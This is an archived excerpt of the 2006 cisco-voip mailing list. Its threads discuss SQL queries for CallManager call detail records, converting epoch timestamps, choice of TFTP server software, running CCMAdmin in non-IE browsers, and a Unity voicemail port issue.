cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



 

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From pwalenta at wi.rr.com  Fri Feb 17 11:19:35 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb 17 11:19:39 2006
Subject: [cisco-voip] need to pull info out the cdr tables
In-Reply-To: <200602171115734.SM01568@3729434770>
Message-ID: <200602171619.k1HGJVdC017332@ms-smtp-04.rdc-kc.rr.com>

Something I've found handy in the past is to use MS Access.
 
Set up an ODBC link, then open it in access.  Access has enough capability
to let you pull what you want from the database, and build your own reports.
It might even have a routine to convert the time for you.


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Friday, February 17, 2006 10:09 AM
To: 'Brian Henry'; 'Jonathan Charles'
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] need to pull info out the cdr tables



This is exactly what I needed.  Thank you  guys.  Hey is there something out
there, a tool that allow me to convert multiple epoch time. Like in a spread
sheet or text file 

 


  _____  


From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Thursday, February 16, 2006 3:38 PM
To: Jonathan Charles; James Grace
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] need to pull info out the cdr tables

 

That is correct or another example.

 

select dateTimeOrigination, origIpAddr, callingPartyNumber, destIpAddr,
originalCalledPartyNumber, finalCalledPartyNumber, dateTimeConnect,
dateTimeDisconnect, lastRedirectDn, origDeviceName, destDeviceName from
CallDetailRecord where callingPartyNumber = '3082'

 

just remember that the time is in epcho time and needs manipulated.

 

Brian

 


  _____  


From: cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
Sent: Thu 2/16/2006 3:29 PM
To: James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] need to pull info out the cdr tables

Here is a query we run to find 911 calls, you can modify as needed:

use cdr    
SELECT     dateTimeOrigination, callingPartyNumber, finalCalledPartyNumber,
originalCalledPartyNumber, duration
FROM         CallDetailRecord    
WHERE     (finalCalledPartyNumber = '911')    




Jonathan

On 2/16/06, James Grace <jgrace at digitelusa.net> wrote: 

Im in a crunch to get some data from the cdr records.  Currently we are no
able to run the cdr analyis and reporting pluging on our CM pub..  major
issues with the tomcat and tcd services,they wont start.  But all the other
setting are set up and data is populating in the cdr tables.  Can someone
give me a basic sql query to pull out all calls in and out to a particular
ext.

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



 

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From lelio at uoguelph.ca  Fri Feb 17 11:23:59 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 17 11:24:14 2006
Subject: [cisco-voip] need to pull info out the cdr tables
References: <200602171115734.SM01568@3729434770>
Message-ID: <009e01c633de$91a82530$30196883@cfs.uoguelph.ca>

long live AWK

/bin/awk -F, '{ print strftime("%m/%d/%Y %H:%M:%S",$1), $2, $3 ... $N}' 


--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: James Grace 
  To: 'Brian Henry' ; 'Jonathan Charles' 
  Cc: cisco-voip at puck.nether.net 
  Sent: Friday, February 17, 2006 11:08 AM
  Subject: RE: [cisco-voip] need to pull info out the cdr tables


  This is exactly what I needed.  Thank you  guys.  Hey is there something out there, a tool that allow me to convert multiple epoch time. Like in a spread sheet or text file 

   


------------------------------------------------------------------------------

  From: Brian Henry [mailto:Brian.Henry at apptis.com] 
  Sent: Thursday, February 16, 2006 3:38 PM
  To: Jonathan Charles; James Grace
  Cc: cisco-voip at puck.nether.net
  Subject: RE: [cisco-voip] need to pull info out the cdr tables

   

  That is correct or another example.

   

  select dateTimeOrigination, origIpAddr, callingPartyNumber, destIpAddr, originalCalledPartyNumber, finalCalledPartyNumber, dateTimeConnect, dateTimeDisconnect, lastRedirectDn, origDeviceName, destDeviceName from CallDetailRecord where callingPartyNumber = '3082'

   

  just remember that the time is in epcho time and needs manipulated.

   

  Brian

   


------------------------------------------------------------------------------

  From: cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
  Sent: Thu 2/16/2006 3:29 PM
  To: James Grace
  Cc: cisco-voip at puck.nether.net
  Subject: Re: [cisco-voip] need to pull info out the cdr tables

  Here is a query we run to find 911 calls, you can modify as needed:

  use cdr    
  SELECT     dateTimeOrigination, callingPartyNumber, finalCalledPartyNumber, originalCalledPartyNumber, duration
  FROM         CallDetailRecord    
  WHERE     (finalCalledPartyNumber = '911')    




  Jonathan

  On 2/16/06, James Grace <jgrace at digitelusa.net> wrote: 

  Im in a crunch to get some data from the cdr records.  Currently we are no able to run the cdr analyis and reporting pluging on our CM pub..  major issues with the tomcat and tcd services,they wont start.  But all the other setting are set up and data is populating in the cdr tables.  Can someone give me a basic sql query to pull out all calls in and out to a particular ext.

   

  James D. Grace 

  CCNP CCNA MCSE MCDBA

  Sr. System Engineer / Professional Svc.

  Digitel Corporation

   


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip



   



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From lelio at uoguelph.ca  Fri Feb 17 11:26:24 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 17 11:26:31 2006
Subject: [cisco-voip] need to pull info out the cdr tables
References: <200602171115734.SM01568@3729434770>
	<009e01c633de$91a82530$30196883@cfs.uoguelph.ca>
Message-ID: <00b401c633de$e526a830$30196883@cfs.uoguelph.ca>

PS, I wouldn't trust Access or a spreadsheet because I'm pretty sure it screws up DST

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Lelio Fulgenzi 
  To: James Grace ; 'Brian Henry' ; 'Jonathan Charles' 
  Cc: cisco-voip at puck.nether.net 
  Sent: Friday, February 17, 2006 11:23 AM
  Subject: Re: [cisco-voip] need to pull info out the cdr tables


  long live AWK

  /bin/awk -F, '{ print strftime("%m/%d/%Y %H:%M:%S",$1), $2, $3 ... $N}' 


  --------------------------------------------------------------------------------
  Lelio Fulgenzi, B.A.
  Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
  (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
  "I had a coffee and Coke at lunch today...and now, I've got more jitter than an
  IP phone on a long haul 10base2 connection"                                           LFJ
    ----- Original Message ----- 
    From: James Grace 
    To: 'Brian Henry' ; 'Jonathan Charles' 
    Cc: cisco-voip at puck.nether.net 
    Sent: Friday, February 17, 2006 11:08 AM
    Subject: RE: [cisco-voip] need to pull info out the cdr tables


    This is exactly what I needed.  Thank you  guys.  Hey is there something out there, a tool that allow me to convert multiple epoch time. Like in a spread sheet or text file 

     


----------------------------------------------------------------------------

    From: Brian Henry [mailto:Brian.Henry at apptis.com] 
    Sent: Thursday, February 16, 2006 3:38 PM
    To: Jonathan Charles; James Grace
    Cc: cisco-voip at puck.nether.net
    Subject: RE: [cisco-voip] need to pull info out the cdr tables

     

    That is correct or another example.

     

    select dateTimeOrigination, origIpAddr, callingPartyNumber, destIpAddr, originalCalledPartyNumber, finalCalledPartyNumber, dateTimeConnect, dateTimeDisconnect, lastRedirectDn, origDeviceName, destDeviceName from CallDetailRecord where callingPartyNumber = '3082'

     

    just remember that the time is in epcho time and needs manipulated.

     

    Brian

     


----------------------------------------------------------------------------

    From: cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
    Sent: Thu 2/16/2006 3:29 PM
    To: James Grace
    Cc: cisco-voip at puck.nether.net
    Subject: Re: [cisco-voip] need to pull info out the cdr tables

    Here is a query we run to find 911 calls, you can modify as needed:

    use cdr    
    SELECT     dateTimeOrigination, callingPartyNumber, finalCalledPartyNumber, originalCalledPartyNumber, duration
    FROM         CallDetailRecord    
    WHERE     (finalCalledPartyNumber = '911')    




    Jonathan

    On 2/16/06, James Grace <jgrace at digitelusa.net> wrote: 

    Im in a crunch to get some data from the cdr records.  Currently we are no able to run the cdr analyis and reporting pluging on our CM pub..  major issues with the tomcat and tcd services,they wont start.  But all the other setting are set up and data is populating in the cdr tables.  Can someone give me a basic sql query to pull out all calls in and out to a particular ext.

     

    James D. Grace 

    CCNP CCNA MCSE MCDBA

    Sr. System Engineer / Professional Svc.

    Digitel Corporation

     


    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip



     



----------------------------------------------------------------------------


    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From wsisk at cisco.com  Fri Feb 17 12:10:57 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb 17 12:11:08 2006
Subject: [cisco-voip] need to pull info out the cdr tables
In-Reply-To: <200602171115734.SM01568@3729434770>
References: <200602171115734.SM01568@3729434770>
Message-ID: <43F603A1.1000104@cisco.com>

sql does this for you.  some of my favorite troubleshooting queries:

SELECT DATEADD(ss, datetimeorigination, 'Jan 1, 1970 00:00:00')
    AS datetime, callingPartyNumber, originalcalledpartynumber,
    finalcalledpartynumber, origcause_value,
    destcause_value
FROM calldetailrecord
ORDER BY datetimeorigination

most recent record:
SELECT DATEADD(ss, datetimedisconnect, 'Jan 1, 1970 00:00:00')
    AS datetimedisc, callingPartyNumber, originalcalledpartynumber,
    finalcalledpartynumber, origcause_value,
    destcause_value
FROM calldetailrecord where datetimedisconnect = (select 
max(datetimedisconnect) from calldetailrecord)
ORDER BY datetimeorigination

/Wes

James Grace wrote:
>
> This is exactly what I needed.  Thank you  guys.  Hey is there 
> something out there, a tool that allow me to convert multiple epoch 
> time. Like in a spread sheet or text file
>
>  
>
> ------------------------------------------------------------------------
>
> *From:* Brian Henry [mailto:Brian.Henry at apptis.com]
> *Sent:* Thursday, February 16, 2006 3:38 PM
> *To:* Jonathan Charles; James Grace
> *Cc:* cisco-voip at puck.nether.net
> *Subject:* RE: [cisco-voip] need to pull info out the cdr tables
>
>  
>
> That is correct or another example.
>
>  
>
> select dateTimeOrigination, origIpAddr, callingPartyNumber, 
> destIpAddr, originalCalledPartyNumber, finalCalledPartyNumber, 
> dateTimeConnect, dateTimeDisconnect, lastRedirectDn, origDeviceName, 
> destDeviceName from CallDetailRecord where callingPartyNumber = '3082'
>
>  
>
> just remember that the time is in epcho time and needs manipulated.
>
>  
>
> Brian
>
>  
>
> ------------------------------------------------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
> *Sent:* Thu 2/16/2006 3:29 PM
> *To:* James Grace
> *Cc:* cisco-voip at puck.nether.net
> *Subject:* Re: [cisco-voip] need to pull info out the cdr tables
>
> Here is a query we run to find 911 calls, you can modify as needed:
>
> use cdr   
> SELECT     dateTimeOrigination, callingPartyNumber, 
> finalCalledPartyNumber, originalCalledPartyNumber, duration
> FROM         CallDetailRecord   
> WHERE     (finalCalledPartyNumber = '911')   
>
>
>
>
> Jonathan
>
> On 2/16/06, *James Grace* <jgrace at digitelusa.net 
> <mailto:jgrace at digitelusa.net>> wrote:
>
> Im in a crunch to get some data from the cdr records.  Currently we 
> are no able to run the cdr analyis and reporting pluging on our CM 
> pub..  major issues with the tomcat and tcd services,they wont start.  
> But all the other setting are set up and data is populating in the cdr 
> tables.  Can someone give me a basic sql query to pull out all calls 
> in and out to a particular ext.
>
>  
>
> James D. Grace
>
> **CCNP CCNA MCSE MCDBA**
>
> Sr. System Engineer / Professional Svc.
>
> **Digitel Corporation**
>
>  
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net>
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>  
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From Court.Schuett at us.millwardbrown.com  Fri Feb 17 12:12:20 2006
From: Court.Schuett at us.millwardbrown.com (Schuett, Court (MBNAP it))
Date: Fri Feb 17 12:12:29 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
Message-ID: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B3F0@x-np5.am.group.local>

Actually, I use Firefox 1.5 to manage my CallManager.  It's a little sneaky,
but you can do it.  Check out the IE Tab Extension for Firefox.  I've been
using it for awhile and it works pretty well.  There are a couple issues
(like closing extra windows when resetting phones) but nothing that you
can't deal with.  
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
<mailto:court.schuett at us.millwardbrown.com> 
 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: Friday, February 17, 2006 9:59 AM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Agreed, only thing I use IE for now is callmanager and Unity, because I have
to.


On 2/17/06, Voll, Scott <Scott.Voll at wesd.org  <mailto:Scott.Voll at wesd.org> >
wrote: 

I don't know if anyone else subscribes to the Cisco-NSP list but they
(including me) have been pretty cranked about the test TAC Caseopen tool
is only tested with IE.  I wish Cisco would get a Clue and make
everything more open source as far as browsers are concerned.  I would
like to be able to use any browser (not M$) to run all applications like 
TAC, CM, IPCC, UNITY, WLSE, Etc.

RANT< Cisco Get On Board -- Listen To Your Customers -- And Fix It
>RANT.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> 
[mailto:cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> ] On Behalf Of Chris Ellington
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> 
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)

Doesn't everyone use Mac's now?  No flamewar here but hopefully the new
5.0 
ccm will work with Macs.  I have found Mobility Manager 1.0 (which is
Linux
based) works well with both Safari and Firefox.  If you use the 'User
Agent
Switcher' and tell it you are an IE XP browser, it doesn't crash any 
more
but the 'RSEnableRemoteScripting' event seems to cause it to fail.
Something about a proxy couldn't be located.

Chris


On 2/17/06 9:55 AM, "  <mailto:cisco-voip-request at puck.nether.net>
cisco-voip-request at puck.nether.net"
<cisco-voip-request at puck.nether.net
<mailto:cisco-voip-request at puck.nether.net> > wrote:


>
> Message: 8
> Date: Fri, 17 Feb 2006 09:28:31 -0500 
> From: Ryan Ratliff <rratliff at cisco.com <mailto:rratliff at cisco.com> >
> Subject: Re: [cisco-voip] CCMAdmin on OS X
> To: Tim Medley <medley at mac.com <mailto:medley at mac.com>  >
> Cc: "cisco-voip at puck-nether.net <mailto:cisco-voip at puck-nether.net> "
<cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> >
> Message-ID: <  <mailto:E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
>
> Just tested with CM 4.1.3 and with Safari it complains about the java
> vm not being installed.  Firefox 1.5 it just crashes.
>
> -Ryan
>
> On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:
>
> Just curious how many other folks use Mac's and OS X as there day to 
> day computer. A while back I ran some basic tests and found that
> Opera would work to use CCMAdmin and Unity SA, but recently have
> found that it no longer works. I am wondering what other people have 
> found or if you have just given up?
>
> tm
>
> Tim Medley
> medley at mac.com <mailto:medley at mac.com> 
>


--
Christopher S. Ellington
CCIE #6814
Network Solutions, Inc. 
(317) 566 8897
Chris.Ellington at nsi1.com <mailto:Chris.Ellington at nsi1.com> 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> 
https://puck.nether.net/mailman/listinfo/cisco-voip
<https://puck.nether.net/mailman/listinfo/cisco-voip> 

_______________________________________________
cisco-voip mailing list 
cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> 
https://puck.nether.net/mailman/listinfo/cisco-voip
<https://puck.nether.net/mailman/listinfo/cisco-voip> 





-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 
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From mfa at crec.ifas.ufl.edu  Fri Feb 17 12:13:31 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Fri Feb 17 12:13:35 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
References: <200602171619.k1HGJba1019287@puck.nether.net>
Message-ID: <002c01c633e5$79e8b8e0$400cfb0a@crec.ifas.ufl.edu>

I found the same problem with a large 3640 image; tftp32 has always worked 
well.

mike

> Date: Fri, 17 Feb 2006 08:07:44 -0800
> From: "Voll, Scott" <Scott.Voll at wesd.org>
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
> To: "Fedorov, Konstantin" <kfedor at amt.ru>
> Cc: cisco-voip at puck.nether.net
> Message-ID: <D713462ED535184D830F6F6301753E7E01BE15BB at VISHNU.wesd.org>
> Content-Type: text/plain; charset="US-ASCII"
>
> The problem was with most IOSes more then ~20mb in size.  Basically Cat
> 6509 IOSes.
>
> Scott
>
> -----Original Message-----
> From: Fedorov, Konstantin [mailto:kfedor at amt.ru]
> Sent: Friday, February 17, 2006 8:03 AM
> To: Voll, Scott; Philip Walenta; Mike Armstrong;
> cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> Strange.  Because I use Solarwwinds more than 2 years, and could't find
> any problem.  What IOS ?
>
>
> -----Original Message-----
> From: Voll, Scott [mailto:Scott.Voll at wesd.org]
> Sent: Friday, February 17, 2006 6:50 PM
> To: Fedorov, Konstantin; Philip Walenta; Mike Armstrong;
> cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> I have had some issues with Solarwinds and larger IOSes.  The tftpd32
> has worked very well for us.
>
> Scott
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov,
> Konstantin
> Sent: Friday, February 17, 2006 5:49 AM
> To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> Hi
>
> For example this one
> http://www.solarwinds.net/FreeTools.htm
>
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
> Sent: Friday, February 17, 2006 4:41 PM
> To: 'Mike Armstrong'; cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> I use both "tftpd32" and unix based tftp.  Haven't really found a need
> for
> anything fancier.
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
> Sent: Friday, February 17, 2006 7:36 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] What do y'all use for a TFTP server?
>
> I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
> Scan
> just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
> deleted it without asking for my opinion.  I've downloaded the latest
> version and re-installed it, and so far Virus Scan hasn't complained
> again,
> but I'd be interested in what others are currently using.
>
> Mike Armstrong
> UF/IFAS CREC
> Lake Alfred, FL


From Court.Schuett at us.millwardbrown.com  Fri Feb 17 12:29:14 2006
From: Court.Schuett at us.millwardbrown.com (Schuett, Court (MBNAP it))
Date: Fri Feb 17 12:29:25 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
Message-ID: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B3F2@x-np5.am.group.local>

Quick addendum.  I just checked and IE Tab 1.0.7 and 1.0.8 do not work with
CCM 4.1(3).  However, IE Tab 1.0.6.4 does.  I'm not sure what they changed
in there, but 1.0.6.4 works fine.  You can get it here:
https://addons.mozilla.org/extensions/moreinfo.php?application=firefox
<https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=1
419&page=releases> &id=1419&page=releases
 
 
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
<mailto:court.schuett at us.millwardbrown.com> 
 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Schuett, Court
(MBNAP it)
Sent: Friday, February 17, 2006 11:12 AM
To: 'Ed Leatherman'; Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Actually, I use Firefox 1.5 to manage my CallManager.  It's a little sneaky,
but you can do it.  Check out the IE Tab Extension for Firefox.  I've been
using it for awhile and it works pretty well.  There are a couple issues
(like closing extra windows when resetting phones) but nothing that you
can't deal with.  
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
<mailto:court.schuett at us.millwardbrown.com> 
 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: Friday, February 17, 2006 9:59 AM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Agreed, only thing I use IE for now is callmanager and Unity, because I have
to.


On 2/17/06, Voll, Scott <Scott.Voll at wesd.org  <mailto:Scott.Voll at wesd.org> >
wrote: 

I don't know if anyone else subscribes to the Cisco-NSP list but they
(including me) have been pretty cranked about the test TAC Caseopen tool
is only tested with IE.  I wish Cisco would get a Clue and make
everything more open source as far as browsers are concerned.  I would
like to be able to use any browser (not M$) to run all applications like 
TAC, CM, IPCC, UNITY, WLSE, Etc.

RANT< Cisco Get On Board -- Listen To Your Customers -- And Fix It
>RANT.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> 
[mailto:cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> ] On Behalf Of Chris Ellington
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> 
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)

Doesn't everyone use Mac's now?  No flamewar here but hopefully the new
5.0 
ccm will work with Macs.  I have found Mobility Manager 1.0 (which is
Linux
based) works well with both Safari and Firefox.  If you use the 'User
Agent
Switcher' and tell it you are an IE XP browser, it doesn't crash any 
more
but the 'RSEnableRemoteScripting' event seems to cause it to fail.
Something about a proxy couldn't be located.

Chris


On 2/17/06 9:55 AM, "  <mailto:cisco-voip-request at puck.nether.net>
cisco-voip-request at puck.nether.net"
<cisco-voip-request at puck.nether.net
<mailto:cisco-voip-request at puck.nether.net> > wrote:


>
> Message: 8
> Date: Fri, 17 Feb 2006 09:28:31 -0500 
> From: Ryan Ratliff <rratliff at cisco.com <mailto:rratliff at cisco.com> >
> Subject: Re: [cisco-voip] CCMAdmin on OS X
> To: Tim Medley <medley at mac.com <mailto:medley at mac.com>  >
> Cc: "cisco-voip at puck-nether.net <mailto:cisco-voip at puck-nether.net> "
<cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> >
> Message-ID: <  <mailto:E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
>
> Just tested with CM 4.1.3 and with Safari it complains about the java
> vm not being installed.  Firefox 1.5 it just crashes.
>
> -Ryan
>
> On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:
>
> Just curious how many other folks use Mac's and OS X as there day to 
> day computer. A while back I ran some basic tests and found that
> Opera would work to use CCMAdmin and Unity SA, but recently have
> found that it no longer works. I am wondering what other people have 
> found or if you have just given up?
>
> tm
>
> Tim Medley
> medley at mac.com <mailto:medley at mac.com> 
>


--
Christopher S. Ellington
CCIE #6814
Network Solutions, Inc. 
(317) 566 8897
Chris.Ellington at nsi1.com <mailto:Chris.Ellington at nsi1.com> 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> 
https://puck.nether.net/mailman/listinfo/cisco-voip
<https://puck.nether.net/mailman/listinfo/cisco-voip> 

_______________________________________________
cisco-voip mailing list 
cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net> 
https://puck.nether.net/mailman/listinfo/cisco-voip
<https://puck.nether.net/mailman/listinfo/cisco-voip> 





-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 
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From jafar at paris.com  Fri Feb 17 12:50:30 2006
From: jafar at paris.com (Jafar T)
Date: Fri Feb 17 12:50:42 2006
Subject: [cisco-voip] Unity issue
Message-ID: <20060217175031.6F4141F50B4@ws1-2.us4.outblaze.com>

I have a CCM 3.3.4 sr2

unity 4.03sr1

unity primary port range: 18000-18031

unity fail over port range starts: 18032

calling voice mail, from an ip phone goes to the failover unity ports, it
tries 18032, 18033, 18034, 18035, then 18001

not all the time, other times it just goes to 18001 " the primary ports "

there is no failover according to the failover monitor,

there are no errors in the app log of unity,

there are 0 erros in dbwalker

there are on  8.02 TSP version

I tried many times yesterday till I was able to capture this strange
problem,

called from  495, by simply pushing voicemail on the phone.

the tcp handler is 000002602, the ip phone ip, is 10.40.4.28

time of the call: 2:47pm, and finaly it hit the 18001 at 2:50pm

the only strange thing I saw in the trace was " entry not found for ...

I have traces if you want to view.

thx

-- 
___________________________________________________
Play 100s of games for FREE! http://games.mail.com/

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From ray at oneunified.net  Fri Feb 17 12:51:25 2006
From: ray at oneunified.net (Ray Burkholder)
Date: Fri Feb 17 12:51:54 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E01@MREXVS01.bc.broward.cty>
Message-ID: <2a2001c633ea$c5ac6010$660a0a0a@oneunified.local>

Or 3Com's 3CTftpSvc.zip.  It has been very reliable for me.  Trying to
navigate to it can be a nightmare so here is the link:

http://support.3com.com/software/utilities_for_windows_32_bit.htm 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: Friday, February 17, 2006 10:56
To: Fedorov, Konstantin; Philip Walenta; Mike Armstrong;
cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Been using 3COM's 3Cserver for years....does what I Need it to do..... 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov, Konstantin
Sent: Friday, February 17, 2006 8:49 AM
To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)"
and deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
